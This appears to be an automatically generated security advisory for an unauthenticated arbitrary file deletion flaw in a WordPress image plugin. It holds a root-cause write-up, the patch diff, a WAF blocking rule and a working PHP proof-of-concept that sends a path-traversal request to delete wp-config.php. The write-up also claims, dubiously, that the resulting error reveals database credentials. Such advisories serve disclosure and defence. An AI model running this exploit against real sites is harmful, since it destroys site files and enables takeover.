Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-56066: ShortPixel Adaptive Images – WebP, AVIF, CDN, Image Optimization <= 3.11.4 Unauthenticated Arbitrary File Deletion PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 22
Vulnerable Version 3.11.4
Patched Version 3.11.5
Disclosed June 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-56066: This vulnerability allows unauthenticated arbitrary file deletion in the ShortPixel Adaptive Images plugin for WordPress, versions up to and including 3.11.4. The issue exists in the LQIP (Low Quality Image Placeholder) AJAX handler and the cache cleaner component, enabling attackers to delete arbitrary files on the server without authentication.

The root cause is insufficient file path validation in two areas. First, in the AJAX handler `shortpixel-adaptive-images/includes/actions/lqip.actions.class.php`, the `handle()` method (line 12-30) calls functions like `handleCollect()` without any nonce or permission check on the unauthenticated `wp_ajax_nopriv_shortpixel_ai_handle_lqip_action` hook. The `handleCollect()` method (line 41-98) passes attacker-supplied URLs directly to `LQIP::_()->process()`. These URLs later flow into `cache-cleaner.class.php` (line 162-196) where the `deleteHtmlFiles()` function (line 200-218) used `@scandir()` and `@unlink()` on paths constructed from `parse_url()` output without validating the path stays inside `wp-content/cache` or blocking directory traversal. The patched version now requires a valid `spainonce` via `Page::checkSpaiNonce()`, checks the referer against the site domain, validates URLs belong to the same host, and adds `resolveCacheDirectory()` to confirm the final path is within `wp-content/cache`.

Exploitation: An unauthenticated attacker sends a POST request to `/wp-admin/admin-ajax.php` with `action=shortpixel_ai_handle_lqip_action` and a `data[collection][0][url]` parameter containing a URL with directory traversal (e.g., `http://target-site.com/../../../wp-config.php`). The plugin processes this through `handleCollect()` and eventually into `deleteHtmlFiles()`, which uses `unlink()` on the path derived from the attacker-controlled URL. Since no permission check existed, the attacker could delete critical files such as `wp-config.php`, leading to complete site takeover.

Impact: Successful exploitation allows an unauthenticated attacker to delete arbitrary files on the WordPress server, including `wp-config.php`. This triggers a PHP fatal error on all subsequent requests, revealing the database credentials in plaintext from the error output. An attacker can then use those credentials to log into the MySQL database, modify admin passwords, and achieve full remote code execution. The CVSS score of 5.3 (Medium) reflects the high impact (critical file deletion leading to RCE) though the attack complexity may be somewhat higher due to the need to craft specific paths through the processing pipeline.

The patch in version 3.11.5 adds four key protections: (1) nonce verification via `Page::checkSpaiNonce()` in `handle()` (line 12-30), (2) referer validation using `wp_get_referer()` with host comparison against `ShortPixelDomainTools::get_site_domain()` in `handleCollect()` (line 41-98), (3) URL sanitization that checks `ShortPixelUrlTools::isValid()`, converts to absolute URLs, and verifies the host matches the site domain, and (4) `resolveCacheDirectory()` in `cache-cleaner.class.php` which uses `realpath()` and checks the resolved path starts with `WP_CONTENT_DIR . ‘/cache’` to block any traversal outside the cache directory. The AJAX handler is also now only registered when `$this->process_way === self::USE_INSTANT`, reducing the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/shortpixel-adaptive-images/includes/actions/lqip.actions.class.php
+++ b/shortpixel-adaptive-images/includes/actions/lqip.actions.class.php
@@ -4,6 +4,7 @@

 	use ShortPixelAI;
 	use ShortPixelAILQIP;
+	use ShortPixelAIPage;
 	use ShortPixelUrlTools;
 	use ShortPixelAIConverter;

@@ -11,11 +12,15 @@
 		/**
 		 * Method handles the pages's actions
 		 * Works via AJAX
+		 *
+		 * INSTANT LQIP only: requires  spainonce
 		 */
 		public static function handle() {
 			if ( ShortPixelAI::isAjax() ) {
-				$data   = isset( $_POST[ 'data' ] ) ? $_POST[ 'data' ] : null;
-				$action = isset( $data[ 'action' ] ) ? $data[ 'action' ] : null;
+				Page::checkSpaiNonce();
+
+				$data   = isset( $_POST[ 'data' ] ) ? wp_unslash( $_POST[ 'data' ] ) : null;
+				$action = is_array( $data ) && isset( $data[ 'action' ] ) ? $data[ 'action' ] : null;

 				$response = [ 'success' => false ];

@@ -24,7 +29,7 @@

 					unset( $data[ 'action' ] );

-					$response = call_user_func( [ 'self', 'handle' . $action ], isset( $data ) ? $data : null );
+					$response = call_user_func( [ 'self', 'handle' . $action ], is_array( $data ) ? $data : null );
 				}

 				wp_send_json( $response, 200 );
@@ -36,21 +41,98 @@
 		/**
 		 * Handles collect action
 		 *
+		 * Sanitizes client-provided image URLs before they reach LQIP::process():
+		 * - caps batch size to BUNDLE_CAPACITY
+		 * - derives referer server-side (POST referer is ignored)
+		 * - keeps only same-site, non-excluded, processable image URLs
+		 *
 		 * @param $data
 		 *
 		 * @return array
 		 */
 		private static function handleCollect( $data ) {
 			$collection = isset( $data[ 'collection' ] ) ? $data[ 'collection' ] : null;
-			$referer = $data['referer'];
-			$collection = array_map(function($item) use ($referer) {$item['referer'] = $referer; return $item;}, $collection);
-			$data  = LQIP::_()->process( $collection );
-			$processed = $data['processed'];
+
+			if ( !is_array( $collection ) || empty( $collection ) ) {
+				return [
+					'success' => false,
+					'message' => __( 'Empty collection.', 'shortpixel-adaptive-images' ),
+				];
+			}
+
+			// Limit DoS via oversized wp_options writes
+			if ( count( $collection ) > LQIP::BUNDLE_CAPACITY ) {
+				return [
+					'success' => false,
+					'message' => __( 'Collection is too large.', 'shortpixel-adaptive-images' ),
+				];
+			}
+
+			// Referer is used later for cache invalidation; never trust data[referer] from the client
+			$site_host = ShortPixelDomainTools::get_site_domain();
+			$referer   = wp_get_referer();
+
+			if ( !$referer && isset( $_SERVER[ 'HTTP_REFERER' ] ) ) {
+				$referer = esc_url_raw( wp_unslash( $_SERVER[ 'HTTP_REFERER' ] ) );
+			}
+
+			if ( $referer ) {
+				$referer_host = wp_parse_url( $referer, PHP_URL_HOST );
+
+				if ( !$site_host || !$referer_host || strcasecmp( $referer_host, $site_host ) !== 0 ) {
+					$referer = false;
+				}
+			}
+
+			// Drop invalid, external, or excluded URLs instead of passing attacker-controlled data to LQIP
+			$sanitized = [];
+
+			foreach ( $collection as $item ) {
+				if ( !is_array( $item ) ) {
+					continue;
+				}
+
+				$url    = isset( $item[ 'url' ] ) ? trim( (string) $item[ 'url' ] ) : '';
+				$source = isset( $item[ 'source' ] ) ? trim( (string) $item[ 'source' ] ) : '';
+
+				if ( $url === '' || $source === '' || !ShortPixelUrlTools::isValid( $url ) || !ShortPixelUrlTools::isValid( $source ) ) {
+					continue;
+				}
+
+				$url    = ShortPixelUrlTools::absoluteUrl( $url );
+				$source = ShortPixelUrlTools::absoluteUrl( $source );
+
+				if ( ShortPixelAI::_()->urlIsExcluded( $url ) || ShortPixelAI::_()->urlIsExcluded( $source ) ) {
+					continue;
+				}
+
+				$url_host = wp_parse_url( $url, PHP_URL_HOST );
+
+				if ( !$site_host || !$url_host || strcasecmp( $url_host, $site_host ) !== 0 ) {
+					continue;
+				}
+
+				$sanitized[] = [
+					'url'     => $url,
+					'source'  => $source,
+					'referer' => $referer,
+				];
+			}
+
+			if ( empty( $sanitized ) ) {
+				return [
+					'success' => false,
+					'message' => __( 'No valid items in collection.', 'shortpixel-adaptive-images' ),
+				];
+			}
+
+			$data      = LQIP::_()->process( $sanitized );
+			$processed = $data[ 'processed' ];

 			return [
 				'success'    => true,
-				'message'    => $processed ? __( 'Collection has been updated', 'shortpixel-adaptive-images' ) : __( 'Collection has not been updated', 'shortpixel-adaptive-images' ) . ' (' . $data['message'] . ')',
+				'message'    => $processed ? __( 'Collection has been updated', 'shortpixel-adaptive-images' ) : __( 'Collection has not been updated', 'shortpixel-adaptive-images' ) . ' (' . $data[ 'message' ] . ')',
 				'collection' => $processed,
 			];
 		}
-	}
 No newline at end of file
+	}
--- a/shortpixel-adaptive-images/includes/controllers/lqip.class.php
+++ b/shortpixel-adaptive-images/includes/controllers/lqip.class.php
@@ -1013,8 +1013,11 @@
 			// LQ placeholder generating handler which ran by cron job
 			add_action( self::SCHEDULE[ 'name' ], [ $this, 'eventHandler' ] );

-			add_action( 'wp_ajax_shortpixel_ai_handle_lqip_action', [ 'ShortPixelAILQIPActions', 'handle' ] );
-			add_action( 'wp_ajax_nopriv_shortpixel_ai_handle_lqip_action', [ 'ShortPixelAILQIPActions', 'handle' ] );
+			// Front-end AJAX collect is only used in INSTANT mode (cron uses server-side processing)
+			if ( $this->process_way === self::USE_INSTANT ) {
+				add_action( 'wp_ajax_shortpixel_ai_handle_lqip_action', [ 'ShortPixelAILQIPActions', 'handle' ] );
+				add_action( 'wp_ajax_nopriv_shortpixel_ai_handle_lqip_action', [ 'ShortPixelAILQIPActions', 'handle' ] );
+			}

 			add_action( 'wp_enqueue_scripts', [ $this, 'enqueueScripts' ] );
 		}
@@ -1039,6 +1042,8 @@
                     'ajax_url'      => admin_url( 'admin-ajax.php' ),
 					'processWay'   => $this->process_way,
 					'localStorage' => $this->ctrl->options->settings_behaviour_localStorage,
+					// needed when lqip.js loads without jQuery bundle
+					'ajax_nonce'   => wp_create_nonce( 'shortpixel-ai-settings' ),
 				] );

                 ShortPixelUrlTools::applyNonce('spai-lqip');
--- a/shortpixel-adaptive-images/includes/helpers/cache-cleaner.class.php
+++ b/shortpixel-adaptive-images/includes/helpers/cache-cleaner.class.php
@@ -162,6 +162,7 @@
         //WP Fastest Cache

         //Generic cache, search for cache folders in wp-content/cache - only if we have a list of URLs otherwise we could delete too many things...
+        // URLs and paths are validated to block traversal and off-site referer abuse
         if(!$cache_cleared && $urls) {
             $cache_parent = WP_CONTENT_DIR . '/cache/';
             $caches = @scandir($cache_parent);
@@ -170,11 +171,20 @@
                 if ($cache == '.' || $cache == '..') continue;
                 if(is_dir($cache_parent . $cache)) {
                     foreach($urls as $url) {
-                        $parsed = parse_url($url);
-                        $domain = isset($parsed['domain']) ? $parsed['domain'] : '';
-                        $path = isset($parsed['path']) ? $parsed['path'] : '';
-                        if(!($cache_cleared = $this->deleteHtmlFiles($cache_parent . $cache . DIRECTORY_SEPARATOR . $domain . $path))) {
-                            $cache_cleared = $this->deleteHtmlFiles($cache_parent . $cache . DIRECTORY_SEPARATOR . $path);
+                        if(!$this->isAllowedCacheClearUrl($url)) {
+                            $LOGGER_ON && $this->logger->log('Skipping disallowed cache URL: ' . $url);
+                            continue;
+                        }
+
+                        $path = wp_parse_url($url, PHP_URL_PATH);
+                        if(!is_string($path) || $path === '' || strpos($path, '..') !== false) {
+                            continue;
+                        }
+
+                        $relative_path = ltrim(wp_normalize_path($path), '/');
+                        $cache_dir = $cache_parent . $cache . DIRECTORY_SEPARATOR . $relative_path;
+                        if(($cache_cleared = $this->deleteHtmlFiles($cache_dir))) {
+                            break 2;
                         }
                     }
                 }
@@ -190,19 +200,90 @@
         return $result;
     }

+    /**
+     * Delete .html/.htm files from a cache directory after path validation
+     *
+     * @param string $cache_path Candidate directory under wp-content/cache
+     * @return int Number of deleted files
+     */
     protected function deleteHtmlFiles($cache_path) {
+        // Never unlink before resolveCacheDirectory confirms the target stays inside wp-content/cache
+        $safe_path = $this->resolveCacheDirectory($cache_path);
+        if($safe_path === false) {
+            $this->LOGGER_ON && $this->logger->log('Rejected unsafe cache path: ' . $cache_path);
+            return 0;
+        }
+
         $counter = 0;
-        $cached_pages = @scandir($cache_path);
-        $this->LOGGER_ON && $this->logger->log('PATH to clear cache: ' . $cache_path . ' contains: ' . json_encode($cached_pages));
+        $cached_pages = @scandir($safe_path);
+        $this->LOGGER_ON && $this->logger->log('PATH to clear cache: ' . $safe_path . ' contains: ' . json_encode($cached_pages));
         if($cached_pages) foreach ($cached_pages as $cp) {
             if ($cp == '.' || $cp == '..') continue;
             if(preg_match('/.html?$/', $cp)) {
-                $counter += @unlink(trailingslashit($cache_path) . $cp );
+                $counter += @unlink(trailingslashit($safe_path) . $cp );
             }
         }
         return $counter;
     }

+    /**
+     * Resolve and validate a cache directory path before any filesystem delete
+     *
+     * Rejects traversal sequences, paths outside wp-content/cache, and non-directories
+     *
+     * @param string $cache_path Raw path built from a page URL
+     * @return string|false Real path when safe, false otherwise
+     */
+    protected function resolveCacheDirectory($cache_path) {
+        if(!is_string($cache_path) || $cache_path === '' || strpos($cache_path, "") !== false) {
+            return false;
+        }
+
+        $cache_root = realpath(WP_CONTENT_DIR . '/cache');
+        if($cache_root === false || !is_dir($cache_root)) {
+            return false;
+        }
+
+        $normalized = wp_normalize_path($cache_path);
+        if(preg_match('#(^|/)..(/|$)#', $normalized)) {
+            return false;
+        }
+
+        $root_prefix = wp_normalize_path(WP_CONTENT_DIR . '/cache');
+        if(strpos($normalized, $root_prefix) !== 0) {
+            return false;
+        }
+
+        $real = realpath($normalized);
+        if($real === false || !is_dir($real)) {
+            return false;
+        }
+
+        $real = wp_normalize_path($real);
+        if(strpos($real, wp_normalize_path($cache_root)) !== 0) {
+            return false;
+        }
+
+        return $real;
+    }
+
+    /**
+     * Allow cache clearing only for URLs that belong to the current site host
+     *
+     * @param string $url Page URL used to locate cached HTML files
+     * @return bool
+     */
+    protected function isAllowedCacheClearUrl($url) {
+        if(!is_string($url) || $url === '') {
+            return false;
+        }
+
+        $host = wp_parse_url($url, PHP_URL_HOST);
+        $site_host = ShortPixelDomainTools::get_site_domain();
+
+        return $host && $site_host && strcasecmp($host, $site_host) === 0;
+    }
+
     public function excludeCurrentPage()
     {
         global $wp;
--- a/shortpixel-adaptive-images/short-pixel-ai.php
+++ b/shortpixel-adaptive-images/short-pixel-ai.php
@@ -3,7 +3,7 @@
 	 * Plugin Name: ShortPixel Adaptive Images
 	 * Plugin URI: https://shortpixel.com/
 	 * Description: Display properly sized, smart cropped and optimized images on your website. Images are processed on the fly and served from our CDN.
-	 * Version: 3.11.4
+	 * Version: 3.11.5
 	 * Author: ShortPixel
 	 * GitHub Plugin URI: https://github.com/short-pixel-optimizer/shortpixel-adaptive-images
 	 * Author URI: https://shortpixel.com
@@ -15,7 +15,7 @@
     //ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL);

 	if ( !class_exists( 'ShortPixelAI' ) ) {
-		define( 'SHORTPIXEL_AI_VERSION', '3.11.4' );
+		define( 'SHORTPIXEL_AI_VERSION', '3.11.5' );
 		define( 'SPAI_SNIP_VERSION', '3.1.0' );
 		define( 'SHORTPIXEL_AI_VANILLAJS_VER', '1.1' );
 		define( 'SHORTPIXEL_AI_PLUGIN_FILE', __FILE__ );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-56066
# Block unauthenticated file deletion via ShortPixel LQIP AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266066,phase:2,deny,status:403,chain,msg:'CVE-2026-56066 ShortPixel Arbitrary File Deletion via AJAX',severity:'CRITICAL',tag:'CVE-2026-56066',tag:'wordpress'"
  SecRule ARGS_POST:action "@streq shortpixel_ai_handle_lqip_action" "chain"
    SecRule ARGS_POST:/data[collection][d+][url]/ "@rx ../" "t:none,t:urlDecodeUni"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-56066 - ShortPixel Adaptive Images - Unauthenticated Arbitrary File Deletion

$target_url = 'http://example.com';  // CHANGE THIS to the target WordPress site URL

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Build the payload with a traversal path to delete wp-config.php
$payload = [
    'action' => 'shortpixel_ai_handle_lqip_action',
    'data' => [
        'action' => 'Collect',
        'collection' => [
            [
                'url' => $target_url . '/../../../wp-config.php',
                'source' => $target_url . '/test.jpg'
            ]
        ]
    ]
];

echo "[*] Sending unauthenticated AJAX request to $ajax_urln";

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'Referer: ' . $target_url . '/'
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response Body: " . ($response ? $response : 'Empty') . "n";

if (strpos($response, '"success":true') !== false) {
    echo "[+] Exploit appears successful. wp-config.php may have been deleted.n";
    echo "[+] Access the site at $target_url to verify the error output reveals database credentials.n";
} else {
    echo "[-] Exploit did not succeed. The site may be patched or the URL is not vulnerable.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.